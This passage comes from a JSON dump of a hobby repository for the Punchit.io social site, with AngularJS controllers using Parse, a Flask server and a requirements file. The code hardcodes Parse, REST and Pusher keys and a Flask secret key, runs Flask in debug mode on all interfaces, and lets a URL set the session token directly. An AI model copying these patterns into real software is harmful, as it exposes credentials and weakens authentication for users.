Data.Value\\n\\tvar FollowObject = Parse.Object.extend(\\\"FollowList\\\")\\n\\tvar GetFollowersQuery = new Parse.Query(FollowObject)\\n\\tGetFollowersQuery.equalTo(\\\"Following\\\",User)\\n\\tGetFollowersQuery.find({\\n\\t\\tsuccess : function (Followers) {\\n\\t\\t\\t// console.log(Followers.length);\\n\\t\\t\\t$scope.Followers = Followers.length\\n\\t\\t\\t$scope.$apply()\\n\\t\\t}\\n\\t})\\n\\t}\\n\\tfunction GetFollowing()\\n\\t{\\n\\tvar FollowObject = Parse.Object.extend(\\\"FollowList\\\")\\n\\tvar GetFollowingQuery = new Parse.Query(FollowObject)\\n\\tGetFollowingQuery.equalTo(\\\"Follower\\\",User)\\n\\tGetFollowingQuery.find({\\n\\t\\tsuccess : function (Following) {\\n\\t\\t\\tconsole.log(Following.length);\\n\\t\\t\\t$scope.Following = Following.length\\n\\t\\t\\t$scope.$apply()\\n\\t\\t}\\n\\t})\\n\\t}\\n\\n\\t$scope.FollowUnfollowAction = function()\\n\\t{\\n\\t\\tvar FollowType = Parse.Object.extend(\\\"FollowList\\\")\\n\\t\\tvar FollowObject = new FollowType();\\n\\t\\tFollowObject.set(\\\"Follower\\\",Parse.User.current())\\n\\t\\tFollowObject.set(\\\"Following\\\",User)\\n\\t\\tFollowObject.set(\\\"FollowingName\\\",User.get(\\\"Name\\\"))\\n\\t\\tif($scope.isFollowing == \\\"Follow\\\")\\n\\t\\t{\\n\\t\\t\\tFollowObject.save({success : function(Object) {\\n\\t\\t\\t\\t$scope.objectIdOfFollowObject = Object.id\\n\\t\\t\\t}})\\n\\t\\t\\t$scope.isFollowing = \\\"Unfollow\\\"\\n\\t\\t\\t$scope.icon = \\\"Follwing\\\"\\n\\t\\t\\t$scope.Followers += 1\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tFollowObject = new FollowType();\\n\\t\\t\\tvar Query = new Parse.Query(FollowType);\\n\\t\\t\\tQuery.equalTo(\\\"objectId\\\",$scope.objectIdOfFollowObject)\\n\\t\\t\\tQuery.find({\\n\\t\\t\\t\\tsuccess:function(Objects) {\\n\\t\\t\\t\\t\\tObjects[0].destroy()\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n\\n\\t\\t\\t$scope.isFollowing = \\\"Follow\\\"\\n\\t\\t\\t$scope.icon = \\\"+Follow\\\"\\n\\t\\t\\t$scope.Followers -= 1\\n\\t\\t}\\n\\t}\\n\\nfunction CheckIfIamFollowing()\\n{\\n\\tvar FollowObject = Parse.Object.extend(\\\"FollowList\\\")\\n\\tvar GetFollowingQuery = new Parse.Query(FollowObject)\\n\\tGetFollowingQuery.equalTo(\\\"Follower\\\",Parse.User.current())\\n\\tGetFollowingQuery.find({\\n\\t\\tsuccess : function (Following) {\\n\\t\\t\\tif(Following.length == 0)\\n\\t\\t\\t{\\n\\t\\t\\t\\t$scope.isFollowing = \\\"Follow\\\"\\n\\t\\t\\t\\t$scope.icon = \\\"+Follow\\\"\\n\\t\\t\\t}\\n\\t\\t\\tfor(var i=0;i<Following.length;i++)\\n\\t\\t\\t{\\n\\t\\t\\t\\t// Unfollow : remove\\n\\t\\t\\t\\t// Follow : person_add\\n\\t\\t\\t\\t// console.log(\\\"Follower = \\\" + Following[i].get(\\\"Follower\\\").id + \\\"Following =\\\" + Following[i].get(\\\"Following\\\").id);\\n\\t\\t\\t\\tif(Following[i].get(\\\"Follower\\\").id == Parse.User.current().id && Following[i].get(\\\"Following\\\").id == User.id)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// console.log(\\\"Yahh is Following\\\");\\n\\t\\t\\t\\t\\t$scope.isFollowing = \\\"UnFollow\\\";\\n\\t\\t\\t\\t\\t$scope.icon = \\\"-UnFollow\\\"\\n\\t\\t\\t\\t\\t$scope.objectIdOfFollowObject = Following[i].id;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t$scope.isFollowing = \\\"Follow\\\"\\n\\t\\t\\t\\t\\t$scope.icon = \\\"+Follow\\\"\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t})\\n}\\n\\n})\\n\\napp.controller('UserPunchesController',function($scope,$http,Data) {\\n\\n\\tfunction detectmob() {\\n\\t if( navigator.userAgent.match(/Android/i)\\n\\t || navigator.userAgent.match(/webOS/i)\\n\\t || navigator.userAgent.match(/iPhone/i)\\n\\t || navigator.userAgent.match(/iPad/i)\\n\\t || navigator.userAgent.match(/iPod/i)\\n\\t || navigator.userAgent.match(/BlackBerry/i)\\n\\t || navigator.userAgent.match(/Windows Phone/i)\\n\\t ){\\n\\t return true;\\n\\t }\\n\\t else {\\n\\t return false;\\n\\t }\\n\\n\\t}\\n\\n\\tif(detectmob())\\n\\t{\\n\\t\\t$scope.width = \\\"100%\\\";\\n\\t}\\n\\telse {\\n\\t\\t$scope.width=\\\"70%\\\"\\n\\t\\t$scope.pcmargin = \\\"16%\\\"\\n\\t}\\n\\n\\n\\tvar params = {};\\n\\tvar User = null\\n\\tif (location.search) {\\n\\t var parts = location.search.substring(1).split('&');\\n\\n\\t for (var i = 0; i < parts.length; i++) {\\n\\t var nv = parts[i].split('=');\\n\\t if (!nv[0]) continue;\\n\\t params[nv[0]] = nv[1] || true;\\n\\t }\\n\\t}\\n\\tvar objectId = params.id\\n\\tif(objectId == Parse.User.current() || objectId == null)\\n\\t{\\n\\t\\tUser = Parse.User.current();\\n\\t}\\n\\telse {\\n\\t\\tUser = new Parse.User();\\n\\t\\tUser.id = objectId\\n\\t\\tUser.fetch()\\n\\t}\\n\\n\\t$scope.posts = new Array()\\n\\t$scope.PostsVisibility = true\\n\\t$scope.openComment = function(index) {\\n\\t\\t// console.log(\\\"df\\\");\\n\\t\\t$('#modal1').openModal();\\n\\t\\tGetComments($scope.posts[index].id)\\n\\n\\t}\\n\\t$scope.LoadMore = function () {\\n\\t\\t// console.log(\\\"clicked\\\");\\n\\t\\t// spinner\\n\\t\\tvar spinner = document.getElementById('spinner')\\n\\t\\tspinner.style.display = 'block'\\n\\t\\tGetPosts()\\n\\t}\\n\\n\\tParse.initialize(\\\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\\\", \\\"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\\\");\\n\\t$http.get('/GetSessionToken')\\n\\t.then(function(response) {\\n\\t\\t// console.log(response.data);\\n\\tParse.User.become(response.data)\\n\\tGetPosts()\\n\\t})\\n\\n\\t$scope.Punch = function(index,which){\\n\\t\\t\\tvar current_user = Parse.User.current()\\n\\t\\t\\tvar objectId = $scope.posts[index].id;\\n\\n\\t\\t\\t\\t\\tParse.Cloud.run(\\\"TapTap\\\", {which:which,userObjID:current_user.id,objectId:objectId},{\\n\\t\\t\\t\\t\\t\\tsuccess:function(response) {\\n\\t\\t\\t\\t\\t\\t\\t// console.log(JSON.stringify(response));\\n\\t\\t\\t\\t\\t\\t\\t$scope.posts[index] = response\\n\\t\\t\\t\\t\\t\\t\\t$scope.$apply()\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\terror : function(error) {\\n\\t\\t\\t\\t\\t\\t\\t// console.log(error);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t})\\n\\t\\t}\\n\\nfunction GetPosts(hashTag)\\n{\\n\\t\\tvar posts = Parse.Object.extend(\\\"Posts\\\")\\n\\t\\tvar Query = new Parse.Query(posts)\\n\\n\\n\\t\\tQuery.equalTo(\\\"By\\\",User)\\n\\n\\t\\tif($scope.posts.length > 0){\\n\\t\\t\\t// console.log(\\\"load more\\\");\\n\\t\\t\\tvar ExistingObjectIds=new Array();\\n\\t\\t\\tfor(var i=0;i<$scope.posts.length;i++)\\n\\t\\t\\t{\\n\\t\\t\\t\\t// console.log($scope.posts[i].id);\\n\\t\\t\\t\\tExistingObjectIds[i] = $scope.posts[i].id;\\n\\t\\t\\t}\\n\\t\\t\\t// console.log(ExistingObjectIds);\\n\\t\\t\\tQuery.notContainedIn(\\\"objectId\\\",ExistingObjectIds)\\n\\t\\t}\\n\\t\\tQuery.descending(\\\"createdAt\\\")\\n\\t\\tQuery.find({\\n\\t\\t\\tsuccess : function (data) {\\n\\t\\t\\t\\t\\tData.Value = data.length\\n\\t\\t\\t\\t\\tif(data !=null && data != 'undefined'){\\n\\t\\t\\t\\t\\t\\t// $scope.posts=data\\n\\t\\t\\t\\t\\t\\t// console.log(typeof($scope.post));\\n\\t\\t\\t\\t\\t\\tfor(var i=0;i<data.length;i++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar SinglePost = data[i];\\n\\t\\t\\t\\t\\t\\t\\t// console.log(JSON.stringify(SinglePost));\\n\\t\\t\\t\\t\\t\\t\\tSinglePost.Image1Title = SinglePost.get(\\\"Image1Title\\\")\\n\\t\\t\\t\\t\\t\\t\\tSinglePost.Image2Title = SinglePost.get(\\\"Image2Title\\\")\\n var createdAt = SinglePost.get('createdAt')\\n\\t\\t\\t\\t\\t\\t\\tvar timeStamp = GetTimeStamp(createdAt)\\n\\t\\t\\t\\t\\t\\t\\tSinglePost.set('TimeStamp',timeStamp);\\n\\t\\t\\t\\t\\t\\t\\tSinglePost.set(\\\"Votes1\\\",SinglePost.get('Punchers1').length)\\n\\t\\t\\t\\t\\t\\t\\tSinglePost.set(\\\"Votes2\\\",SinglePost.get('Punchers2').length)\\n\\n\\t\\t\\t\\t\\t\\t\\tvar user = SinglePost.get('By')\\n\\t\\t\\t\\t\\t\\t\\tuser.fetch({\\n\\t\\t\\t\\t\\t\\t\\t\\tsuccess:function(myObject) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tconsole.log(JSON.stringify(myObject));\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t});\\n if(SinglePost.get('Votes1') > 0 || SinglePost.get('Votes2') > 0)\\n {\\n if(SinglePost.get('Punchers1').indexOf(Parse.User.current().id) > -1)\\n {\\n SinglePost.set('isVoted1',\\\"block\\\")\\n SinglePost.set('isVoted2',\\\"none\\\")\\n // alert(SinglePost.Image1Title + SinglePost.Image2Title + \\\" = isVoted1 = \\\" + SinglePost.get('isVoted1') + \\\" isVoted2 = \\\" + SinglePost.get('isVoted2'));\\n }\\n\\n else if(SinglePost.get('Punchers2').indexOf(Parse.User.current().id) > -1)\\n {\\n SinglePost.set('isVoted1',\\\"none\\\")\\n SinglePost.set('isVoted2',\\\"block\\\")\\n // alert(SinglePost.Image1Title + SinglePost.Image2Title + \\\" = isVoted1 = \\\" + SinglePost.get('isVoted1') + \\\" isVoted2 = \\\" + SinglePost.get('isVoted2'));\\n }\\n else {\\n SinglePost.set('isVoted1',\\\"none\\\")\\n SinglePost.set('isVoted2',\\\"none\\\")\\n }\\n }\\n else {\\n SinglePost.set('isVoted1',\\\"none\\\")\\n SinglePost.set('isVoted2',\\\"none\\\")\\n }\\n\\t\\t\\t\\t\\t\\t\\t$scope.posts.push(SinglePost)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t$scope.PostsVisibility = false;\\n\\t\\t\\t\\t\\t\\t//spinner\\n\\t\\t\\t\\t\\t\\tvar spinner = document.getElementById('spinner')\\n\\t\\t\\t\\t\\t\\tspinner.style.display = 'none'\\n\\t\\t\\t\\t\\t\\t$scope.$apply()\\n\\t\\t\\t\\t\\t\\t// console.log($scope.posts.length);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\t// console.log(\\\"null\\\");\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t},\\n\\t\\t\\terror : function (error) {\\n\\t\\t\\t\\t// console.log(error);\\n\\t\\t\\t}\\n\\t\\t})\\n}\\n\\nfunction GetTimeStamp(createdAt)\\n{\\n\\tvar currentDate = new Date()\\n\\tvar Time;\\n\\tif(Math.abs(currentDate.getMonth() - createdAt.getMonth()) == 0)\\n\\t{\\n\\t\\tif(Math.abs(currentDate.getDay() - createdAt.getDay()) > 7)\\n\\t\\t{\\n\\t\\t\\tTime = String(parseInt(Math.abs(currentDate.getDay() - createdAt.getDay())) / 7 ) + \\\"W\\\"\\n\\t\\t}\\n\\t\\telse if (Math.abs(currentDate.getDay() - createdAt.getDay()) > 0)\\n\\t\\t{\\n\\t\\t\\tTime = String(Math.abs(currentDate.getDay() - createdAt.getDay())) + \\\"d\\\"\\n\\t\\t}\\n\\t\\telse if (Math.abs(currentDate.getHours() - createdAt.getHours()) > 0){\\n\\t\\t\\tTime = String(Math.abs(currentDate.getHours() - createdAt.getHours())) + \\\"h\\\"\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t{\\n\\t\\t\\t\\t\\tTime = String(Math.abs(currentDate.getMinutes() - createdAt.getMinutes())) + 'm'\\n\\t\\t}\\n\\t\\t}\\n\\t}\\n\\telse {\\n\\t\\tTime = String(Math.abs(currentDate.getMonth() - createdAt.getMonth())) + 'M'\\n\\t}\\n\\treturn Time;\\n}\\n\\n$scope.PostComment=function(){\\n\\tvar objectId = $scope.objectId\\n\\tvar CommentObj = Parse.Object.extend(\\\"Comment\\\")\\n\\tvar Comment = new CommentObj();\\n\\tvar Post = {\\n\\t__type: 'Pointer',\\n\\tclassName: 'Posts',\\n\\tobjectId: objectId\\n\\t}\\n\\tComment.set(\\\"User\\\",Parse.User.current())\\n\\tComment.set(\\\"Post\\\",Post)\\n\\tComment.set(\\\"comment\\\",$scope.cc)\\n\\tif($scope.cc != null && $scope.cc !=\\\"undefined\\\")\\n\\t{\\n\\tComment.save()\\n\\t$scope.comments.push(Comment)\\n\\t$scope.cc = null\\n\\t$scope.$apply();\\n\\tMaterialize.toast('Comment Added successfully', 4000)\\n\\t}\\n\\telse {\\n\\t\\tMaterialize.toast('Comment cannot be null', 4000)\\n\\t}\\n}\\n\\nfunction GetComments(objectId)\\n{\\n\\t\\t\\t$scope.objectId = objectId\\n\\t\\t\\tvar Comment = Parse.Object.extend(\\\"Comment\\\")\\n\\t\\t\\tvar CommentQuery = new Parse.Query(Comment);\\n\\t\\t\\tvar Post = {\\n\\t\\t\\t__type: 'Pointer',\\n\\t\\t\\tclassName: 'Posts',\\n\\t\\t\\tobjectId: objectId\\n\\t\\t\\t}\\n\\t\\t\\tCommentQuery.equalTo(\\\"Post\\\",Post)\\n\\t\\t\\tCommentQuery.find({\\n\\t\\t\\t\\tsuccess : function (Comments) {\\n\\t\\t\\t\\t\\t\\tfor(var i=0;i<Comments.length;i++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar User = Comments[i].get(\\\"User\\\",Parse.User.current())\\n\\t\\t\\t\\t\\t\\t\\tUser.fetch()\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif(Comments.length < 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t$scope.youFirst = false\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t$scope.youFirst = true\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t$scope.comments = Comments\\n\\t\\t\\t\\t\\t\\t$scope.$apply()\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\terror : function (error) {\\n\\t\\t\\t\\t\\t// console.log(error);\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n}\\n\\nfunction detectmob() {\\n if( navigator.userAgent.match(/Android/i)\\n || navigator.userAgent.match(/webOS/i)\\n || navigator.userAgent.match(/iPhone/i)\\n || navigator.userAgent.match(/iPad/i)\\n || navigator.userAgent.match(/iPod/i)\\n || navigator.userAgent.match(/BlackBerry/i)\\n || navigator.userAgent.match(/Windows Phone/i)\\n ){\\n return true;\\n }\\n else {\\n return false;\\n }\\n}\\n})\\n\\napp.controller('share',['$scope','PostService','Time',function($scope,PostService,Time) {\\n init();\\n function init()\\n {\\n \\tif(location.href.split('/').indexOf(\\\"share\\\") != -1)\\n {\\n var objectId = location.href.split('/')[location.href.split('/').indexOf(\\\"share\\\") + 1]\\n //console.log(objectId)\\n //console.log(objectId);\\n Parse.initialize(\\\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\\\", \\\"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\\\");\\n var posts = Parse.Object.extend(\\\"Posts\\\")\\n var Query = new Parse.Query(posts)\\n Query.equalTo(\\\"objectId\\\",objectId)\\n Query.include(\\\"_User\\\")\\n Query.descending(\\\"createdAt\\\")\\n Query.limit(5);\\n Query.find({\\n success : function (data) {\\n if(data !=null && data != 'undefined')\\n {\\n for(var i=0;i<data.length;i++)\\n {\\n var SinglePost = data[i];\\n SinglePost.Image1Title = SinglePost.get(\\\"Image1Title\\\")\\n SinglePost.Image2Title = SinglePost.get(\\\"Image2Title\\\")\\n var user = SinglePost.get('By')\\n user.fetch({\\n success:function(myObject) {\\n var createdAt = SinglePost.get('createdAt')\\n var timeStamp = Time.GetTimeStamp(createdAt)\\n SinglePost.set('TimeStamp',timeStamp);\\n SinglePost.set(\\\"Votes1\\\",SinglePost.get('Punchers1').length)\\n SinglePost.set(\\\"Votes2\\\",SinglePost.get('Punchers2').length)\\n $scope.SinglePost = SinglePost\\n //console.log($scope.SinglePost)\\n $scope.$apply()\\n }\\n });\\n\\n }\\n\\n }\\n },\\n error : function (error) {\\n \\n }\\n })\\n }\\n //}\\n }\\n}]);\\n\\napp.directive('myEnter', function () {\\n return function (scope, element, attrs) {\\n element.bind(\\\"keydown keypress\\\", function (event) {\\n if(event.which === 13) {\\n scope.$apply(function (){\\n scope.$eval(attrs.myEnter);\\n });\\n\\n event.preventDefault();\\n }\\n });\\n };\\n});\\n\\napp.directive('wmBlock', function ($parse) {\\n return {\\n scope: {\\n wmBlockLength: '='\\n },\\n link: function (scope, elm, attrs) {\\n\\n elm.bind('keypress', function(e){\\n\\n if(elm[0].value.length > scope.wmBlockLength){\\n e.preventDefault();\\n return false;\\n }\\n });\\n }\\n }\\n});\\n\\napp.config(['$interpolateProvider', function($interpolateProvider) {\\n $interpolateProvider.startSymbol('{a');\\n $interpolateProvider.endSymbol('a}');\\n}])\\n\"\n },\n {\n \"alpha_fraction\": 0.682009756565094,\n \"alphanum_fraction\": 0.6914516687393188,\n \"avg_line_length\": 27.37799072265625,\n \"blob_id\": \"bbd5774b2cea381c06eb92f5e673f2ee4c8b5592\",\n \"content_id\": \"d94be2f9bf013010d76b485f73f5c444ddaa1458\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5931,\n \"license_type\": \"no_license\",\n \"max_line_length\": 108,\n \"num_lines\": 209,\n \"path\": \"/hello.py\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from parse_rest.user import User\\nimport settings_local\\nfrom flask import Flask,request,redirect, url_for ,render_template,send_from_directory,session,make_response\\nfrom parse_rest.connection import SessionToken, register\\nfrom parse_rest.datatypes import Function\\nimport json,httplib\\nimport os\\nfrom flask.ext.triangle import Form,Triangle\\nfrom flask.ext.triangle.widgets.standard import TextInput\\nfrom datetime import timedelta\\nfrom flask import session, app\\nimport os\\nimport pusher\\nimport getPost\\nfrom flask import Blueprint\\n\\nsettings_local.initParse()\\napp = Flask(__name__)\\nTriangle(app)\\napp.config['UPLOAD_FOLDER'] = 'uploads/'\\n\\nHackathon = Blueprint('Hackathon', __name__,\\n template_folder='templates',subdomain=\\\"hack404\\\")\\napp.register_blueprint(Hackathon)\\n\\n\\n@app.before_request\\ndef make_session_permanent():\\n session.permanent = True\\n app.permanent_session_lifetime = timedelta(minutes=46440)\\n\\n@app.route('/',methods=['GET', 'POST'])\\ndef index():\\n #\\tsettings_local.initParse()\\n\\t# if request.method == 'POST' and request.form[\\\"what\\\"]== 'Login':\\n\\t# \\ttry:\\n\\t# \\t\\tprint request.form[\\\"password\\\"]\\n\\t# \\t\\tu = User.login(request.form[\\\"username\\\"],request.form[\\\"password\\\"])\\n\\t# \\t\\tsession['session_token'] = u.sessionToken\\n\\t# \\t\\tresp = make_response(render_template(\\\"index.html\\\"))\\n\\t# \\t\\treturn resp\\n\\t# \\texcept:\\n\\t# \\t\\treturn render_template('login.html',error=\\\"Invalid username or password\\\")\\n\\t# elif request.method == 'POST' and request.form[\\\"what\\\"]=='SignUp':\\n\\t# \\temail = request.form[\\\"email\\\"]\\n\\t# \\tpassword = request.form[\\\"password\\\"]\\n\\t# \\tninja = request.form[\\\"ninja\\\"]\\n\\t# \\tbirthdate = request.form[\\\"birthdate\\\"]\\n\\t# \\tu = User.signup(email,password)\\n\\t# \\tu.email=email\\n\\t# \\tu.save()\\n\\t# \\t# proPic.save(os.path.join(app.config['UPLOAD_FOLDER']),\\\"userdp.png\\\")\\n\\t\\t# connection = httplib.HTTPSConnection('api.parse.com', 443)\\n\\t\\t# connection.connect()\\n\\t\\t# connection.request('POST', '/1/files/profilePic.png', open('userdp.png', 'rb').read(), {\\n\\t\\t# \\\"X-Parse-Application-Id\\\": \\\"${Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4}\\\",\\n\\t\\t# \\\"X-Parse-REST-API-Key\\\": \\\"${nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO}\\\",\\n\\t\\t# \\\"Content-Type\\\": \\\"image/png\\\"\\n\\t\\t# })\\n\\t\\t# result = json.loads(connection.getresponse().read())\\n\\t\\t# print result\\n\\t\\t# connection.request('POST', '/1/classes/_User', json.dumps({\\n\\t\\t# \\\"username\\\": email,\\n\\t\\t# \\\"picture\\\": {\\n\\t\\t# \\\"name\\\": \\\"profilePic.png\\\",\\n\\t\\t# \\\"__type\\\": \\\"File\\\"\\n\\t\\t# }\\n\\t\\t# }), {\\n\\t\\t# \\\"X-Parse-Application-Id\\\": \\\"${Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4}\\\",\\n\\t\\t# \\\"X-Parse-REST-API-Key\\\": \\\"${nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO}\\\",\\n\\t\\t# \\\"Content-Type\\\": \\\"application/json\\\"\\n\\t\\t# })\\n\\t\\t# result = json.loads(connection.getresponse().read())\\n\\t\\t# print result\\n\\t# \\tsession['session_token'] = u.sessionToken\\n\\t# \\tresp = make_response(render_template(\\\"index.html\\\"))\\n\\t# \\treturn u.sessionToken\\n\\t# else:\\n\\t# \\tif session.get('session_token') is None:\\n\\t# \\t\\tprint \\\"nohhh\\\"\\n\\t# \\t\\treturn render_template('login.html')\\n\\t# \\telse:\\n\\t# \\t\\tprint \\\"yes\\\"\\n\\t# \\t\\treturn render_template('index.html')\\n # print \\\"hack\\\"\\n\\treturn render_template('Error.html')\\n\\n@app.route('/hack404')\\ndef hackathon():\\n return render_template('hackathon.html')\\n\\n@app.route('/js/<path:path>')\\ndef send_js(path):\\n\\tprint path\\n\\treturn send_from_directory('js', path)\\n\\n@app.route('/assets/images/<path:path>')\\ndef send_from_assets_images(path):\\n print path\\n return send_from_directory('assets/images', path)\\n\\n@app.route('/assets/javascripts/<path:path>')\\ndef send_from_assets_js(path):\\n print path\\n return send_from_directory('assets/javascripts', path)\\n\\n@app.route('/assets/stylesheets/<path:path>')\\ndef send_from_assets_css(path):\\n print path\\n return send_from_directory('assets/stylesheets', path)\\n\\n@app.route('/mobileLogin')\\ndef mobileLogin():\\n if session.get('session_token') is None:\\n return render_template('mlogin.html')\\n\\n@app.route('/css/<path:path>')\\ndef send_css(path):\\n\\tprint path\\n\\treturn send_from_directory('css', path)\\n\\n@app.route('/font/<path:path>')\\ndef send_font(path):\\n\\tprint path\\n\\treturn send_from_directory('font', path)\\n\\n@app.route('/NewUpdate/<objectId>')\\ndef NewUpdate(objectId):\\n p = pusher.Pusher(app_id='173885',key='2f8f1cab459e648a27fd',secret='80905f147470664954bd',ssl=True,port=443)\\n p.trigger('PostChannel', 'NewUpdate', {'message': objectId})\\n return \\\"success\\\"\\n\\n\\n@app.route('/images/<path:path>')\\ndef send_images(path):\\n\\tprint path\\n\\treturn send_from_directory('images', path)\\n\\n@app.route('/Icons/<path:path>')\\ndef Icons(path):\\n\\tprint path\\n\\treturn send_from_directory('Icons', path)\\n\\n@app.route('/logout')\\ndef logout():\\n\\t# session.Abandon()\\n\\tsession.clear()\\n\\treturn redirect(url_for('index'))\\n\\ndef GetCurrentUser():\\n\\ttoken = session.get('session_token')\\n\\tsettings_local.initParse(token)\\n\\tme = User.current_user()\\n\\treturn me\\n\\n@app.route('/setSession/<path:path>')\\ndef setSession(path):\\n\\tsession['session_token'] = path\\n\\treturn render_template('index.html')\\n\\n@app.route('/GetSessionToken')\\ndef GetSessionToken():\\n\\ttoken = session.get('session_token')\\n\\treturn str(token)\\n\\n@app.route('/GetUserInterests')\\ndef GetUserInterests():\\n\\td = []\\n\\tGetCurrentUser()\\n\\tuser_interest_function = Function(\\\"GetUserIntrest\\\")\\n\\td = user_interest_function()\\n\\treturn json.dumps(d)\\n\\n@app.route('/Profile')\\ndef Profile():\\n if session.get('session_token') != None:\\n return render_template('profile.html')\\n else:\\n return render_template('login.html')\\n\\n@app.route('/Select_Interests')\\ndef Select_Interests():\\n if session.get('session_token') != None:\\n return render_template('Settings.html')\\n else:\\n return render_template('login.html')\\n\\n@app.route('/share/<path:path>')\\ndef share(path):\\n SinglePost = getPost.getSinglePost(path)\\n return render_template('Posts.html',SinglePost=SinglePost)\\n\\n@app.route('/Settings')\\ndef Settings():\\n\\treturn render_template('Settings.html')\\n\\n@app.route('/download')\\ndef download():\\n\\treturn render_template('Error.html')\\n\\nport = int(os.environ.get('PORT', 5000))\\napp.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\\napp.run(host=\\\"0.0.0.0\\\",debug=True,port=port)\\n\\n\\n# font images)\\n\\n\\n#font images\\n\"\n },\n {\n \"alpha_fraction\": 0.7622377872467041,\n \"alphanum_fraction\": 0.7657342553138733,\n \"avg_line_length\": 27.5,\n \"blob_id\": \"62f78f3fa14a99765ef773d21b5fbdf3b23dc9b4\",\n \"content_id\": \"546131a2fa95f80bae1149dc9cd49eafa8c4203f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 286,\n \"license_type\": \"no_license\",\n \"max_line_length\": 49,\n \"num_lines\": 10,\n \"path\": \"/getPost.py\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from parse_rest.datatypes import Object\\nimport settings_local\\n\\ndef getSinglePost(objectId):\\n settings_local.initParse()\\n className=\\\"Posts\\\"\\n Posts=Object.factory(className)\\n SinglePost=Posts.Query.get(objectId=objectId)\\n print SinglePost.Image1.url\\n return SinglePost\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.47630923986434937,\n \"alphanum_fraction\": 0.7057356834411621,\n \"avg_line_length\": 15.708333015441895,\n \"blob_id\": \"2e3852d89487488dc8db3caa49287e45f55e1925\",\n \"content_id\": \"b47167c63d19da04c180e6b1b4680ddad4b8905c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 401,\n \"license_type\": \"no_license\",\n \"max_line_length\": 24,\n \"num_lines\": 24,\n \"path\": \"/requirements.txt\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"cffi==1.5.0\\ncryptography==1.2.1\\nenum34==1.1.2\\nFlask==0.10.1\\nFlask-Triangle==0.5.4\\nfunctools32==3.2.3.post2\\ngunicorn==19.4.5\\nidna==2.0\\nipaddress==1.0.16\\nitsdangerous==0.24\\nJinja2==2.8\\njsonschema==2.5.1\\nMarkupSafe==0.23\\nndg-httpsclient==0.4.0\\nparse-rest==0.2.20141004\\npusher==1.2.3\\npyasn1==0.1.9\\npycparser==2.14\\npyOpenSSL==0.15.1\\nrequests==2.9.1\\nsix==1.10.0\\nurllib3==1.14\\nWerkzeug==0.11.3\\nwheel==0.24.0\\n\"\n },\n {\n \"alpha_fraction\": 0.7755101919174194,\n \"alphanum_fraction\": 0.7755101919174194,\n \"avg_line_length\": 23.5,\n \"blob_id\": \"cc96392561bb672e9eebef2d75d924dc4df1f923\",\n \"content_id\": \"83970e5afba48b22e8f45a5fa414cbdd35ac4a33\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 49,\n \"license_type\": \"no_license\",\n \"max_line_length\": 27,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Punchit.io website \\n# Punchit.io_website_master\\n\"\n },\n {\n \"alpha_fraction\": 0.5850793123245239,\n \"alphanum_fraction\": 0.58977872133255,\n \"avg_line_length\": 27.691011428833008,\n \"blob_id\": \"c892e846422dea2a83ba45eb8fd14fa45a0f100e\",\n \"content_id\": \"9577360b647e37ea5805d8e7997d66db62a8d56a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 5107,\n \"license_type\": \"no_license\",\n \"max_line_length\": 152,\n \"num_lines\": 178,\n \"path\": 